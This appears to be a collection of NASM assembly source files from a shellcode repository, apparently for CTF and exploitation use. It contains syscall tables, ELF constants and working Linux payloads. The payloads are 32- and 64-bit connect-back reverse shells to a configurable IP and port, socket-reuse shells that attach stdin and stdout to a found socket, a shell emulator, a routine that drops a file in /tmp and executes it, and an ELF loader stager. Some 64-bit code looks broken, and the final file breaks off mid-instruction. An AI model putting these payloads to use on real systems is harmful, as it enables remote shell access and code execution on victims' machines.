150 %define mlockall 151 %define munlockall 152 %define vhangup 153 %define modify_ldt 154 %define pivot_root 155 %define _sysctl 156 %define prctl 157 %define arch_prctl 158 %define adjtimex 159 %define setrlimit 160 %define chroot 161 %define sync 162 %define acct 163 %define settimeofday 164 %define mount 165 %define umount2 166 %define swapon 167 %define swapoff 168 %define reboot 169 %define sethostname 170 %define setdomainname 171 %define iopl 172 %define ioperm 173 %define create_module 174 %define init_module 175 %define delete_module 176 %define get_kernel_syms 177 %define query_module 178 %define quotactl 179 %define nfsservctl 180 %define getpmsg 181 %define putpmsg 182 %define afs_syscall 183 %define tuxcall 184 %define security 185 %define gettid 186 %define readahead 187 %define setxattr 188 %define lsetxattr 189 %define fsetxattr 190 %define getxattr 191 %define lgetxattr 192 %define fgetxattr 193 %define listxattr 194 %define llistxattr 195 %define flistxattr 196 %define removexattr 197 %define lremovexattr 198 %define fremovexattr 199 %define tkill 200 %define time 201 %define futex 202 %define sched_setaffinity 203 %define sched_getaffinity 204 %define set_thread_area 205 %define io_setup 206 %define io_destroy 207 %define io_getevents 208 %define io_submit 209 %define io_cancel 210 %define get_thread_area 211 %define lookup_dcookie 212 %define epoll_create 213 %define epoll_ctl_old 214 %define epoll_wait_old 215 %define remap_file_pages 216 %define getdents64 217 %define set_tid_address 218 %define restart_syscall 219 %define semtimedop 220 %define fadvise64 221 %define timer_create 222 %define timer_settime 223 %define timer_gettime 224 %define timer_getoverrun 225 %define timer_delete 226 %define clock_settime 227 %define clock_gettime 228 %define clock_getres 229 %define clock_nanosleep 230 %define exit_group 231 %define epoll_wait 232 %define epoll_ctl 233 %define tgkill 234 %define utimes 235 %define vserver 236 %define mbind 237 %define set_mempolicy 238 %define get_mempolicy 239 %define mq_open 240 %define mq_unlink 241 %define mq_timedsend 242 %define mq_timedreceive 243 %define mq_notify 244 %define mq_getsetattr 245 %define kexec_load 246 %define waitid 247 %define add_key 248 %define request_key 249 %define keyctl 250 %define ioprio_set 251 %define ioprio_get 252 %define inotify_init 253 %define inotify_add_watch 254 %define inotify_rm_watch 255 %define migrate_pages 256 %define openat 257 %define mkdirat 258 %define mknodat 259 %define fchownat 260 %define futimesat 261 %define newfstatat 262 %define unlinkat 263 %define renameat 264 %define linkat 265 %define symlinkat 266 %define readlinkat 267 %define fchmodat 268 %define faccessat 269 %define pselect6 270 %define ppoll 271 %define unshare 272 %define set_robust_list 273 %define get_robust_list 274 %define splice 275 %define tee 276 %define sync_file_range 277 %define vmsplice 278 %define move_pages 279 %define utimensat 280 %define epoll_pwait 281 %define signalfd 282 %define timerfd_create 283 %define eventfd 284 %define fallocate 285 %define timerfd_settime 286 %define timerfd_gettime 287 %define accept4 288 %define signalfd4 289 %define eventfd2 290 %define epoll_create1 291 %define dup3 292 %define pipe2 293 %define inotify_init1 294 %define preadv 295 %define pwritev 296 %define rt_tgsigqueueinfo 297 %define perf_event_open 298
osirislab/Shellcode
4,738
include/elf.s
%define EI_NIDENT 16 ;;; ElfN_Ehdr %define e_ident 0 %define e_type 16 %define e_machine 18 %define e_version 20 %define e_entry 24 %define e_phoff 28 %define e_shoff 32 %define e_flags 36 %define e_ehsize 40 %define e_phentsize 42 %define e_phnum 44 %define e_shentsize 46 %define e_shnum 48 %define e_shstrndx 50 ;;; Elf32_Phdr %define p_type 0 %define p_offset 4 %define p_vaddr 8 %define p_paddr 12 %define p_filesz 16 %define p_memsz 20 %define p_flags 24 %define p_align 28 ;;; Elf32_Shdr %define sh_name 0 %define sh_type 4 %define sh_flags 8 %define sh_addr 12 %define sh_offset 16 %define sh_size 20 %define sh_link 24 %define sh_info 28 %define sh_addralign 32 %define sh_entsize 36 ;;; Elf32_Sym %define st_name 0 %define st_value 4 %define st_size 8 %define st_info 12 %define st_other 13 %define st_shndx 14 ;;; legal values for p_type %define PT_NULL 0 ; Program header table entry unused %define PT_LOAD 1 ; Loadable program segment %define PT_DYNAMIC 2 ; Dynamic linking information %define PT_INTERP 3 ; Program interpreter %define PT_NOTE 4 ; Auxiliary information %define PT_SHLIB 5 ; Reserved %define PT_PHDR 6 ; Entry for header table itself %define PT_TLS 7 ; Thread-local storage segment %define PT_NUM 8 ; Number of defined types %define PT_LOOS 0x60000000 ; Start of OS-specific %define PT_GNU_EH_FRAME 0x6474e550 ; GCC .eh_frame_hdr segment %define PT_GNU_STACK 0x6474e551 ; Indicates stack executability %define PT_GNU_RELRO 0x6474e552 ; Read-only after relocation %define PT_LOSUNW 0x6ffffffa %define PT_SUNWBSS 0x6ffffffa ; Sun Specific segment %define PT_SUNWSTACK 0x6ffffffb ; Stack segment %define PT_HISUNW 0x6fffffff %define PT_HIOS 0x6fffffff ; End of OS-specific %define PT_LOPROC 0x70000000 ; Start of processor-specific %define PT_HIPROC 0x7fffffff ; End of processor-specific ;;; legal values for sh_type %define SHT_NULL 0 ; Section header table entry unused %define SHT_PROGBITS 1 ; Program data %define SHT_SYMTAB 2 ; Symbol table %define SHT_STRTAB 3 ; String table %define SHT_RELA 4 ; Relocation entries with addends %define SHT_HASH 5 ; Symbol hash table %define SHT_DYNAMIC 6 ; Dynamic linking information %define SHT_NOTE 7 ; Notes %define SHT_NOBITS 8 ; Program space with no data (bss) %define SHT_REL 9 ; Relocation entries, no addends %define SHT_SHLIB 10 ; Reserved %define SHT_DYNSYM 11 ; Dynamic linker symbol table %define SHT_INIT_ARRAY 14 ; Array of constructors %define SHT_FINI_ARRAY 15 ; Array of destructors %define SHT_PREINIT_ARRAY 16 ; Array of pre-constructors %define SHT_GROUP 17 ; Section group %define SHT_SYMTAB_SHNDX 18 ; Extended section indeces %define SHT_NUM 19 ; Number of defined types. %define SHT_LOOS 0x60000000 ; Start OS-specific. %define SHT_GNU_ATTRIBUTES 0x6ffffff5 ; Object attributes. %define SHT_GNU_HASH 0x6ffffff6 ; GNU-style hash table. %define SHT_GNU_LIBLIST 0x6ffffff7 ; Prelink library list %define SHT_CHECKSUM 0x6ffffff8 ; Checksum for DSO content. %define SHT_LOSUNW 0x6ffffffa ; Sun-specific low bound. %define SHT_SUNW_move 0x6ffffffa %define SHT_SUNW_COMDAT 0x6ffffffb %define SHT_SUNW_syminfo 0x6ffffffc %define SHT_GNU_verdef 0x6ffffffd ; Version definition section. %define SHT_GNU_verneed 0x6ffffffe ; Version needs section. %define SHT_GNU_versym 0x6fffffff ; Version symbol table. %define SHT_HISUNW 0x6fffffff ; Sun-specific high bound. %define SHT_HIOS 0x6fffffff ; End OS-specific type %define SHT_LOPROC 0x70000000 ; Start of processor-specific %define SHT_HIPROC 0x7fffffff ; End of processor-specific %define SHT_LOUSER 0x80000000 ; Start of application-specific %define SHT_HIUSER 0x8fffffff ; End of application-specific
osirislab/Shellcode
7,819
include/short32.s
BITS 32 %define restart_syscall 0 %define exit 1 %define fork 2 %define read 3 %define write 4 %define open 5 %define close 6 %define waitpid 7 %define creat 8 %define link 9 %define unlink 10 %define execve 11 %define chdir 12 %define time 13 %define mknod 14 %define chmod 15 %define lchown 16 %define break 17 %define oldstat 18 %define lseek 19 %define getpid 20 %define mount 21 %define umount 22 %define setuid 23 %define getuid 24 %define stime 25 %define ptrace 26 %define alarm 27 %define oldfstat 28 %define pause 29 %define utime 30 %define stty 31 %define gtty 32 %define access 33 %define nice 34 %define ftime 35 %define sync 36 %define kill 37 %define rename 38 %define mkdir 39 %define rmdir 40 %define dup 41 %define pipe 42 %define times 43 %define prof 44 %define brk 45 %define setgid 46 %define getgid 47 %define signal 48 %define geteuid 49 %define getegid 50 %define acct 51 %define umount2 52 %define lock 53 %define ioctl 54 %define fcntl 55 %define mpx 56 %define setpgid 57 %define ulimit 58 %define oldolduname 59 %define umask 60 %define chroot 61 %define ustat 62 %define dup2 63 %define getppid 64 %define getpgrp 65 %define setsid 66 %define sigaction 67 %define sgetmask 68 %define ssetmask 69 %define setreuid 70 %define setregid 71 %define sigsuspend 72 %define sigpending 73 %define sethostname 74 %define setrlimit 75 %define getrlimit 76 %define getrusage 77 %define gettimeofday 78 %define settimeofday 79 %define getgroups 80 %define setgroups 81 %define select 82 %define symlink 83 %define oldlstat 84 %define readlink 85 %define uselib 86 %define swapon 87 %define reboot 88 %define readdir 89 %define mmap 90 %define munmap 91 %define truncate 92 %define ftruncate 93 %define fchmod 94 %define fchown 95 %define getpriority 96 %define setpriority 97 %define profil 98 %define statfs 99 %define fstatfs 100 %define ioperm 101 %define socketcall 102 %define syslog 103 %define setitimer 104 %define getitimer 105 %define stat 106 %define lstat 107 %define fstat 108 %define olduname 109 %define iopl 110 %define vhangup 111 %define idle 112 %define vm86old 113 %define wait4 114 %define swapoff 115 %define sysinfo 116 %define ipc 117 %define fsync 118 %define sigreturn 119 %define clone 120 %define setdomainname 121 %define uname 122 %define modify_ldt 123 %define adjtimex 124 %define mprotect 125 %define sigprocmask 126 %define create_module 127 %define init_module 128 %define delete_module 129 %define get_kernel_syms 130 %define quotactl 131 %define getpgid 132 %define fchdir 133 %define bdflush 134 %define sysfs 135 %define personality 136 %define afs_syscall 137 %define setfsuid 138 %define setfsgid 139 %define _llseek 140 %define getdents 141 %define _newselect 142 %define flock 143 %define msync 144 %define readv 145 %define writev 146 %define getsid 147 %define fdatasync 148 %define _sysctl 149 %define mlock 150 %define munlock 151 %define mlockall 152 %define munlockall 153 %define sched_setparam 154 %define sched_getparam 155 %define sched_setscheduler 156 %define sched_getscheduler 157 %define sched_yield 158 %define sched_get_priority_max 159 %define sched_get_priority_min 160 %define sched_rr_get_interval 161 %define nanosleep 162 %define mremap 163 %define setresuid 164 %define getresuid 165 %define vm86 166 %define query_module 167 %define poll 168 %define nfsservctl 169 %define setresgid 170 %define getresgid 171 %define prctl 172 %define rt_sigreturn 173 %define rt_sigaction 174 %define rt_sigprocmask 175 %define rt_sigpending 176 %define rt_sigtimedwait 177 %define rt_sigqueueinfo 178 %define rt_sigsuspend 179 %define pread64 180 %define pwrite64 181 %define chown 182 %define getcwd 183 %define capget 184 %define capset 185 %define sigaltstack 186 %define sendfile 187 %define getpmsg 188 %define putpmsg 189 %define vfork 190 %define ugetrlimit 191 %define mmap2 192 %define truncate64 193 %define ftruncate64 194 %define stat64 195 %define lstat64 196 %define fstat64 197 %define lchown32 198 %define getuid32 199 %define getgid32 200 %define geteuid32 201 %define getegid32 202 %define setreuid32 203 %define setregid32 204 %define getgroups32 205 %define setgroups32 206 %define fchown32 207 %define setresuid32 208 %define getresuid32 209 %define setresgid32 210 %define getresgid32 211 %define chown32 212 %define setuid32 213 %define setgid32 214 %define setfsuid32 215 %define setfsgid32 216 %define pivot_root 217 %define mincore 218 %define madvise 219 %define madvise1 219 %define getdents64 220 %define fcntl64 221 %define gettid 224 %define readahead 225 %define setxattr 226 %define lsetxattr 227 %define fsetxattr 228 %define getxattr 229 %define lgetxattr 230 %define fgetxattr 231 %define listxattr 232 %define llistxattr 233 %define flistxattr 234 %define removexattr 235 %define lremovexattr 236 %define fremovexattr 237 %define tkill 238 %define sendfile64 239 %define futex 240 %define sched_setaffinity 241 %define sched_getaffinity 242 %define set_thread_area 243 %define get_thread_area 244 %define io_setup 245 %define io_destroy 246 %define io_getevents 247 %define io_submit 248 %define io_cancel 249 %define fadvise64 250 %define exit_group 252 %define lookup_dcookie 253 %define epoll_create 254 %define epoll_ctl 255 %define epoll_wait 256 %define remap_file_pages 257 %define set_tid_address 258 %define timer_create 259 %define timer_settime (timer_create+1) %define timer_gettime (timer_create+2) %define timer_getoverrun (timer_create+3) %define timer_delete (timer_create+4) %define clock_settime (timer_create+5) %define clock_gettime (timer_create+6) %define clock_getres (timer_create+7) %define clock_nanosleep (timer_create+8) %define statfs64 268 %define fstatfs64 269 %define tgkill 270 %define utimes 271 %define fadvise64_64 272 %define vserver 273 %define mbind 274 %define get_mempolicy 275 %define set_mempolicy 276 %define mq_open 277 %define mq_unlink (mq_open+1) %define mq_timedsend (mq_open+2) %define mq_timedreceive (mq_open+3) %define mq_notify (mq_open+4) %define mq_getsetattr (mq_open+5) %define kexec_load 283 %define waitid 284 %define add_key 286 %define request_key 287 %define keyctl 288 %define ioprio_set 289 %define ioprio_get 290 %define inotify_init 291 %define inotify_add_watch 292 %define inotify_rm_watch 293 %define migrate_pages 294 %define openat 295 %define mkdirat 296 %define mknodat 297 %define fchownat 298 %define futimesat 299 %define fstatat64 300 %define unlinkat 301 %define renameat 302 %define linkat 303 %define symlinkat 304 %define readlinkat 305 %define fchmodat 306 %define faccessat 307 %define pselect6 308 %define ppoll 309 %define unshare 310 %define set_robust_list 311 %define get_robust_list 312 %define splice 313 %define sync_file_range 314 %define tee 315 %define vmsplice 316 %define move_pages 317 %define getcpu 318 %define epoll_pwait 319 %define utimensat 320 %define signalfd 321 %define timerfd_create 322 %define eventfd 323 %define fallocate 324 %define timerfd_settime 325 %define timerfd_gettime 326 %define signalfd4 327 %define eventfd2 328 %define epoll_create1 329 %define dup3 330 %define pipe2 331 %define inotify_init1 332 %define preadv 333 %define pwritev 334 %define rt_tgsigqueueinfo 335 %define perf_event_open 336
osirislab/Shellcode
1,207
reverse64IPv4/r64.s
;; Evan Jensen (wont) 012014 ;; 64bit Connect back shellcode ;; Handy One liner for IP ;; ''.join(['%02x'%int(x)for x in'1.1.1.1'.split('.')][::-1]) ;; port is littleEndian %include "short64.s" %include "syscall.s" %include "util.s" %define IP ip(127,0,0,1) %define PORT htons(7788) ;port 7788 Little Endian %define AF_INET 2 %define SOCK_STREAM 1 %define ANY_PROTO 0 ;;; socket -> connect -> dup -> shell BITS 64 global main main: open_my_socket: push byte AF_INET pop rdi push byte SOCK_STREAM pop rsi push byte ANY_PROTO pop rdx SYSTEM_CALL(socket) xchg rax,rdi make_sockaddr: push byte 0 ;lame part of sockaddr mov rax, (IP <<32 | PORT <<16 | AF_INET) push rax ;important part of sockaddr mov rsi,rsp ;struct sockaddr* push 0x10 pop rdx ;addrlen ;RDI=sockfd SYSTEM_CALL(connect) ;; assume success (RAX=0) push byte 2 ;loop count and FD# pop rsi copy_stdin_out_err: SYSTEM_CALL(dup2) dec rsi jns copy_stdin_out_err ;; Any local shellcode here %define EMULATOR %ifdef EMULATOR ;; shell emulating shellcode incbin "../64shellEmulator/shellcode" %else ;; ordinary shellcode (/bin/sh) incbin "../64BitLocalBinSh/shellcode" %endif
osirislab/Shellcode
1,581
64bitSocketReuse/shell64.s
;; Evan Jensen 32bit socket reuse shellcode ;; Paolo Soto ;; Mon Mar 4 12:03:49 EST 2013 ;; EBX, ECX, EDX, ??? then stack - but we only need 3 ;; read = 3, dup2 = 63, execve = 11 %include "short64.s" %include "syscall.s" %define MAGIC dword 0xcafef00d BITS 64 global main %ifdef ELF section .mytext progbits alloc exec %endif main: mov rsi,rsp ; TODO is this too early? xor si,si ; rsi=some valid stack address push byte 20 ;adjust for the popularity of the ctf pop rdi ;; rdi is the starting fd to read from, we try each in decending order push byte 4;read 4 bytes pop rdx ourread: dec rdi %ifdef DEBUG jnz ourread.next int 3; this breakpoint triggers if we DON'T find the magic number hlt %endif .next: SYSTEM_CALL(read) cmp al,4 ;check to see if we've received our 4 bytes jnz ourread ;if not, try with another file descriptor ;;TODO: lets get rid of this cmp al,4 nonsense and save some bytes. cmp [rsi], MAGIC ;this is our magic number %defined on top jnz ourread ; if we don't match try another file descriptor ;; this dup2 code attaches stdin stdout and stderr to our socket ;; so that we can talk to whatever program we run later mydup2: push byte 2 pop rsi copy_stdin_out_err: SYSTEM_CALL(dup2) dec rsi jns copy_stdin_out_err ;; any local shellcode ;; OUR SOCKET IS IN EBX %define EMULATOR %ifdef EMULATOR ;; shell emulating shellcode incbin "../64shellEmulator/shellcode" %else ;; ordinary shellcode (/bin/sh) incbin "../64BitLocalBinSh/shellcode" %endif
osirislab/Shellcode
1,642
32bitPutFileOnDisk/shell32.s
;; Evan Jensen 32bit Put a file in /tmp and execve it shellcode ;; Paolo Soto ;; Sat Mar 9 05:39:07 EST 2013 ;; %eax = syscall number ;; args = %ebx, %ecx, %edx, %esi, %edi, %ebp (last can be ptr to > 6) BITS 32 global main %include "short32.s" %define openflags 0x42 ; O_CREAT|O_RDWR %define size 0xffff %define stackcookie [gs:0x14] ; assumption - ebx has the input (socket) main: ; ebx = 0 ; ecx = size ; edx = 0x3 ; esi = 0x2 ; edi = eax ; ebp = 0 ; mmap(0, 1M, PROT_READ|PROT_WRITE, MAP_PRIVATE, input_fd, 0) mov edi, ebx ; edi = input xor ecx, ecx mov cl, 0x1 shl ecx, 22 ; ecx = 4M xor ebx, ebx ; ebp = 0 mov bl, 0x2 mov si, bx ; esi = 0x2 xor ebp, ebp ; ebp = 0 mov ebx, ebp ; ebx = 0 mov edx, ebp mov dl, 0x3 ; edx = 3 mov al, mmap int 0x80 ; call mmap ; (temp assignment) mov esi, ecx ; esi = size mov edi, eax ; edi = buffer (temp assignment) ; open(filename, O_CREAT|O_RDWR, 0700 xor eax, eax push eax push dword stackcookie ; use the stack cookie as a file name push 0x706d742f ; stack = /tmp/filename\0 mov ebx, esp ; ebx = stack mov ecx, eax mov cl, 0x42 ; ecx = O_CREAT|O_RDWR mov edx, eax mov dl, 0x7 shl dl, 0x6 ; edx = 111000000 = 0700 mov al, open int 0x80 ; call open ; write(output, buffer, size) mov ebx, eax ; ebx = output mov ecx, edi ; ecx = buffer mov edx, esi ; edx = size xor eax, eax mov al, write int 0x80 ; call write ; execve(filename, 0, 0) mov ebx, esp ; ebx = filename xor ecx, ecx mov edx, ecx mov eax, ecx mov al, execve int 0x80
osirislab/Shellcode
3,736
32bitStager/mapper_payload.s
;; Evan Jensen ;; Translation of mapper.c by kiwiz ;;; %eax = syscall number ;;; args = %ebx, %ecx, %edx, %esi, %edi, %ebp (last can be ptr to > 6) BITS 32 global main %include "../include/short32.s" %include "../include/elf.s" %define PROT_READ 0x4 %define PROT_WRITE 0x2 %define PROT_EXEC 0x1 %define MAP_PRIVATE 0x2 ; Changes are private. %define MAP_ANONYMOUS 0x20 ; no file backing %define MAP_FIXED 0x10 ; use exact address %define PGSZ 0x1000 ;; hex(sum(map(lambda a:1<<a,[1,2,3,4,5,6,7,9,10,11]))) %define IMPORTANT_SECTIONS 0xefe %define ELFHEADER 0x464c457f main: ;; possible techniques for identifying where data is coming from ;; socket reuse, bind, connectback, attached at the end of our code ;; get some memory to work with ;; in mapper.c this is done with care ;; but if we make a "large" pre allocation up front we should be OK xor eax,eax cdq mov al,mmap2 xor ebx,ebx ;addr xor ecx,ecx inc ecx ;size shl ecx,15 ;0x8000 potentially compute at runtime ;; xor edx,edx; done with cdq mov dl, PROT_READ|PROT_WRITE|PROT_EXEC ;prot push byte MAP_PRIVATE | MAP_ANONYMOUS ;flags pop esi xor edi, edi ;FD dec edi ;-1 xor ebp,ebp ;offset ;; mmap(0, 0x8000, 0x7, MAP_PRIVATE | MAP_ANONYMOUS ,-1,0) call [gs:ebp+0x10] ;__kernel_vsyscall cld ;; int 0x80 jmp ENDOFCODE have_elf: pop ebp ;pointer to elf header mov ebx,eax ; ebx is pointer to the mapped memory for rest of code ;;;Elf32_Shdr* strtab = mem + ehdr->e_shoff + ehdr->e_shstrndx * ehdr->e_shentsize; mov esi, [ebp+e_shoff] movzx edi, word [ebp+e_shstrndx] movzx ecx, word [ebp+e_shentsize] imul edi,ecx add esi,ebp add esi,edi push esi ;; esi=strtab ;; create memory sections movzx edx,word [ebp+e_shnum] ;counter dec edx create_memory_sections: ;;; Elf32_Shdr* shdr = mem + ehdr->e_shoff + ehdr->e_shentsize * i; movzx eax, word [ebp+e_shentsize] imul eax, edx add eax,dword [ebp+e_shoff] add eax,ebp ;; eax=shdr ;; mov esi,1 ;; mov ecx, dword [eax+sh_type] ;; cmp ecx,0xff ;; ja next_section ;; shl esi,cl ;; test esi, IMPORTANT_SECTIONS ;; jz next_section ;; this is a section we care about. Lets fix it up! ;; find the name, maybe this is the .got.plt mov esi,[esp] ;strtab mov esi,dword [esi+sh_offset] add esi,dword [eax+sh_name] add esi,ebp jmp short get_got_plt have_got_plt: pop edi push byte got_plt_end - got_plt-1 ;length of the .got.plt string pop ecx repe cmpsb ;strncmp test ecx,ecx jnz not_got_plt push eax ;got_plt section not_got_plt: ;; not .got.plt but still important mov edi,dword [eax+sh_addr] add edi,ebx ;destination (mmap'd memory) mov esi,dword [eax+sh_offset] add esi,ebp ;src, the memory at the end of this asm mov ecx,dword [eax+sh_size] ;length of the section rep movsb ;memcpy next_section: dec edx jns create_memory_sections ;will loop when the counter is zero begin_got_fix: mov eax,[esp] ;got_plt section ;; size_t got_sz = got_plt->sh_size / sizeof(void*) - 3; mov ecx,dword [eax+sh_size] shr ecx,2 ;; sub ecx,3 mov eax,dword [eax+sh_addr] add eax,ebx dec ecx fix_got_loop: add [eax+ecx*4],ebx ;; ecx=got_sz + 3 ;; the first three elements in the GOT should not be fixed here ;; we need to fix up the GOT. The entries in the got need to point to ;; the resolve function but currently they contain only RVA's next_got_entry: dec ecx cmp ecx,2 ja fix_got_loop ;; get entry point and run it mov eax,dword [ebp+e_entry] add eax,ebx call eax ;entrypoint ;; hlt ;hlt was for debugging get_got_plt: call have_got_plt got_plt: db ".got.plt",0 got_plt_end: ENDOFCODE: call have_elf ;; append elf here incbin "stage"
osirislab/Shellcode
1,589
reverse32IPv4/r32.s
;; Evan Jensen (wont) 021813 ;; Connect back shellcode ;; Handy One liner for IP ;; ''.join(['%02x'%int(x)for x in'1.1.1.1'.split('.')][::-1]) ;; port is littleEndian %include "short32.s" %include "syscall.s" %include "util.s" %define IP dword ip(127,0,0,1) %define PORT word htons(7788) %define AF_INET 2 %define SOCK_STREAM 1 %define ANY_PROTO 0 ;; Socketcall is the systemcall we use to manipulate sockets ;; It's linux specific. Use man socketcall. ;; first argument is an integer and second is an arg struct ptr BITS 32 global main main: xor eax,eax mov ebx,eax push eax push byte SOCK_STREAM push byte AF_INET inc ebx mov ecx,esp mov al,socketcall SYSTEM_CALL ;socket() ebx=1 ;eax has socket inc ebx IPandPort: push IP push PORT push bx ;bx=2 AF_INET mov ecx,esp push byte 0x10 ;size of sockaddr push ecx push eax ;socket fd inc ebx ;ebx=3 connect() mov ecx,esp SYSTEM_CALL(socketcall) ;;; connect reurns zero on success ;; mov edi,eax ;connect fd pop ebx ;the top of the stack has our socket push byte 2 pop ecx ;loop counter and fd arg for dup2 copy: mov al,dup2 SYSTEM_CALL ;dup2(ebx,ecx) ;;; the system_call macro that takes an argument also zero's it out ;;; using extra bytes. We can save some space by assuming that ;;; dup2 won't error. dec ecx jns copy ;; Any local shellcode here %define EMULATOR %ifdef EMULATOR ;; shell emulating shellcode incbin "../32shellEmulator/shellcode" %else ;; ordinary shellcode (/bin/sh) incbin "../32bitLocalBinSh/shellcode" %endif
osirislab/Shellcode
1,511
32shellEmulator/shell32.s
;; Evan Jensen 32bit shell emulating shellcode ;; BITS 32 %include "short32.s" %include "syscall.s" %define BUFFERLEN 0x1ff global main main: get_input: xor eax,eax cdq mov dx, BUFFERLEN mov ecx,esp xor ebx,ebx SYSTEM_CALL(read) mov ebp,eax test eax,eax %ifdef PLAYFAIR jz short do_exit ;test if socket is closed %endif mov byte [esp+eax-1],0 do_fork: SYSTEM_CALL(fork) test eax,eax jz short child parent: xor ebx,ebx xor ecx,ecx xor edx,edx SYSTEM_CALL(waitpid) jmp short main child: cld ;let's parse the arguments here %ifndef PLAYFAIR test ebp,ebp ;return of read jz short do_fork %endif parse: mov ecx, ebp push byte " " pop eax ;space used for inlined strchr mov ebx,esp sub esp,edx ;space for argv[] cdq ;msb of eax is zero so this is ok add_token: ;; calculate the pointerp to push mov esi,ebp sub esi,ecx lea edi,[ebx + esi] ;register subtraction no good in lea mov [esp+edx*4], edi ;save the current token inc edx ;increment argv[] index repne scasb ;find the next space mov esi,ebp sub esi,ecx mov byte[ebx+esi-1],0 ;replace the space with null byte (strtok) test ecx,ecx ;if ECX is zero we've hit the end of the input str jz short exec ;set up for execve systemcall (with argv =D) jmp short add_token ;if not, strtok exec: xchg ecx,eax ;eax=0 mov [esp+edx*4],eax cdq mov al,execve lea ecx,[esp] SYSTEM_CALL do_exit:;; exit nicely if anything fails xor ebx,ebx ;optional SYSTEM_CALL(exit)
osirislab/Shellcode
1,682
32bitSocketReuse/shell32.s
;; Evan Jensen 32bit socket reuse shellcode ;; Paolo Soto ;; Mon Mar 4 12:03:49 EST 2013 ;; EBX, ECX, EDX, ??? then stack - but we only need 3 ;; read = 3, dup2 = 63, execve = 11 %define MAGIC dword 0xcafef00d BITS 32 global main %ifdef ELF section mytext write exec alloc %endif ;; move the includes down here because 'write' appears in the ;; section header %include "short32.s" %include "syscall.s" main: mov ecx,esp ; TODO is this too early? xor cx,cx ; ecx=some valid stack address xor ebx,ebx mov bl,20 ;adjust for the popularity of the ctf ;; bl is the starting fd to read from, we try each in decending order xor edx,edx mov dl,4 ;read 4 bytes ourread: dec ebx jnz ourread.next %ifdef DEBUG int 3 ;debugging, do something else in prod ;; this breakpoint should trigger if we DON'T find the magic number %endif .next: ; sets up read SYSTEM_CALL(read) cmp al,4 ;check to see if we've received our 4 bytes jnz ourread ;if not, try with another file descriptor ;;TODO: lets get rid of this cmp al,4 nonsense and save some bytes. cmp [ecx], MAGIC ;this is our magic number %defined on top jnz ourread ; if we don't match try another file descriptor ;; this dup2 code attaches stdin stdout and stderr to our socket ;; so that we can talk to whatever program we run later mydup2: xor ecx,ecx mov cl, 2 .copy: SYSTEM_CALL(dup2) dec ecx ; this is for looping stderr/out/in jns mydup2.copy ;; local shellcode %define EMULATOR %ifdef EMULATOR ;; shell emulating shellcode incbin "../32shellEmulator/shellcode" %else ;; ordinary shellcode (/bin/sh) incbin "../32bitLocalBinSh/shellcode" %endif
osirislab/Shellcode
1,647
64bitPutFileOnDisk/shell64.s
;; Evan Jensen 64bit Put a file in /tmp and execve it shellcode ;; Paolo Soto ;; Sun Mar 10 21:37:35 EDT 2013 ;; %eax = syscall number ;; args = %ebx, %ecx, %edx, %esi, %edi, %ebp (last can be ptr to > 6) ;; args = rdi, rsi, rdx, rcx, r8, r9, then stack BITS 64 global main %include "../include/syscalls64.s" %define openflags 0x42 ; O_CREAT|O_RDWR %define size 0xffff ; assumption - rbx has the input (socket) main: ; rdi = 0 ; rsi = size ; rdx = 0x3 ; rcx = 0x2 ; r8 = rbx ; r9 = 0 ; mmap(0, 1M, PROT_READ|PROT_WRITE, MAP_PRIVATE, input_fd, 0) mov r8, rdx ; r8 = input xor rdi, rdi ; rdi = 0 mov rdx, rdi mov rax, rdi mov rcx, rdi mov r8, rdi mov r9, rdi mov rsi, rdi mov sil, 0x1 shl rsi, 22 ; rsi = 4M mov dl, 0x3 ; rdx = 0x3 mov cl, 0x2 ; rdl = 0x2 mov al, __NR_mmap syscall ; call mmap ; rax has the mmap buffer ; temporary assignments: mov r8, rax ; r8 = buffer mov r9, rsi ; r9 = size ; open(filename, O_CREAT|O_RDWR, 0700) xor rax, rax mov rdi, rax mov rdx, rax push rax, push qword stackcookie ; TODO verify this push 0x706d742f ; stack = /tmp/filename\0 mov rdi, rsp ; rdi = stack mov rsi, rax mov sil, 0x42 ; ril = O_CREAT|O_RDWR mov dl, 0x7 shl dl, 0x6 mov al, __NR_open syscall ; call open ; write(output, buffer, size) mov rdi, rax ; rdi = output mov rsi, r8 ; rsi = buffer mov rdx, r9 ; rdx = size xor rax, rax mov al, __NR_write syscall ; call write ; exec(filename, 0, 0) mov rdi, rsp ; rdi = filename xor rsi, rsi ; rsi = 0 mov rdx, rsi ; rdx = 0 mov rax, rsi ; rax = 0 mov al, __NR_execve syscall ; call execve
osirislab/Shellcode
7,891
include/runtime/gs.s
;; Evan Jensen ;; Finds base of libc ;; 101413 ;; offsets of data structures may be off by as much as 0x30 ;; I'm not sure what is causing the differences BITS 32 global getLibc global gettextload global getTLS global getCode global getpieload global getStringIndex global getgotone global getgotzero global getgottwo global patchmygot global patchmygotpie global fixdynamicpie global findelfheader global findgotpie global findgot global find_loader_by_place global find_loader_by_name global find_symtab global get_libc_start_main global get_sack_begin global start_main_wrapper global get_stack global start_main_wrapper_alt global get_base_pie global do_patch_pie global patch_host_dynamic_reloc global patch_l_info extern _DYNAMIC extern _GLOBAL_OFFSET_TABLE_ %define EI_NIDENT 16 %define DYNAMICPTRS 0x6a230f8 %define ELFHEADER 0x464c457f ;; http://www.sco.com/developers/gabi/latest/ch5.dynamic.html ;; hex(sum(map(lambda b:1<<b,[3,4,5,6,7,12,13,17,21,23,25,26]))) get_base_pie: mov eax,ebx sub eax,_GLOBAL_OFFSET_TABLE_ ret getStringIndex: push esi push edi call getLibc xor edx,edx xor edi,edi mov di, WORD [eax + 50 ];e_shstrndx man elf line 237 ;; find section name string table mov esi, DWORD [eax + 32] ;e_shoff man elf line 192 mov dx, WORD[eax + 46];e_shentsize man elf 227 imul edi,edx lea esi,[esi+edi] ;should be pointing to the string index add eax,esi pop edi pop esi ret getTLS: mov eax,DWORD [gs:0] ret get_stack: mov eax,DWORD [gs:0x80] ret get_libc_start_main: mov eax,DWORD [gs:0x80] mov eax,[eax+0x34] ;libc_start_main+0x9 sub eax,9 ret getLibc: mov eax,DWORD [gs:4] mov eax,DWORD [eax+8] mov eax,DWORD [eax+12*4*4] mov eax,DWORD [eax] mov eax,DWORD [eax+4] mov eax,DWORD [eax] ret getCode: pop eax jmp eax ;; not currently working gettextload: mov eax,DWORD [gs:0x80] mov eax,[eax+0x38] mov eax,[eax+0x34] mov eax,[eax+0x50] ret getpieload: mov eax,DWORD [gs:0x80] mov eax,[eax+0x68] mov eax,[eax+0x0] ret getmain: mov eax,DWORD [gs:0x80] mov eax,[eax+0x4c] ret getenv: call getargc mov edx,eax call getargv lea eax, [edx+eax*4+4] ret getargc: mov eax,DWORD [gs:0x80] mov 